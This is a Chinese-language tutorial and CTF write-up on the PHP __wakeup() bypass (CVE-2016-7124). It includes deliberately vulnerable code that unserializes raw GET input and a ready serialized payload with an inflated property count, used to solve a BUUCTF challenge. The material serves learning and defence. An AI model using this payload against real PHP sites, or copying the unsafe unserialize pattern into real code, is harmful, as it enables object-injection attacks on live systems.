__wakeup()魔术方法绕过（CVE-2016-7124）

__wakeup()魔术方法绕过（CVE-2016-7124）

漏洞简介

在php反序列化数据过程中，如果类中存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

适用环境

PHP 5<5.6.25; PHP 7<7.0.10

复现过程

环境源码

<?php

//__wakeup：反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "__wakeup()被调用<br>";
    }

    public function __destruct(){
        echo "__destruct()被调用<br>";
    }

 //

}

unserialize($_GET['x']);
?>

正常执行流程为，网页接受变量x数据进行反序列化操作，__wakeup()魔术方法被调用,然后程序执行完毕，__destruct魔术方法被调用。

确认php版本是否符合

修改对象属性个数的值大于真实的属性个数时，__wakeup魔术方法被绕过

CTF赛题应用

• BUUCTF--[极客大挑战 2019]PHP
  
  根据赛题提示，下载www.zip备份文件
  
  源码

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>

对代码进行分析可知，想要获取flag需要执行__destruct魔术方法，并且传入的序列化数据中的username值为admin，且password值为100，通过构造pop链可以修改Name类的属性，但是在此网页接受数据之后，会对数据进行反序列化处理，在进行反序列化处理之前会调用__wakeup魔术方法，但是在代码中，__wakeup魔术方法将username进行了重新赋值，因此要想获取flag，必须绕过__wakeup。

确认php版本是否在符合CVE-2016-7124漏洞版本区间（PHP 5<5.6.25; PHP 7<7.0.10）



构造pop链

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

}

$obj=new Name();
echo  serialize($obj);

?>

得到序列化数据之后要将private型得数据特征表现出来，即private属性序列化的时候格式是%00类名%00成员名,并让对象属性个数大于真实个数。

payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

漏洞修复

升级php版本即可

以上内容仅作参考学习，如有瑕疵或错误，希望各位师傅们斧正，感谢阅读。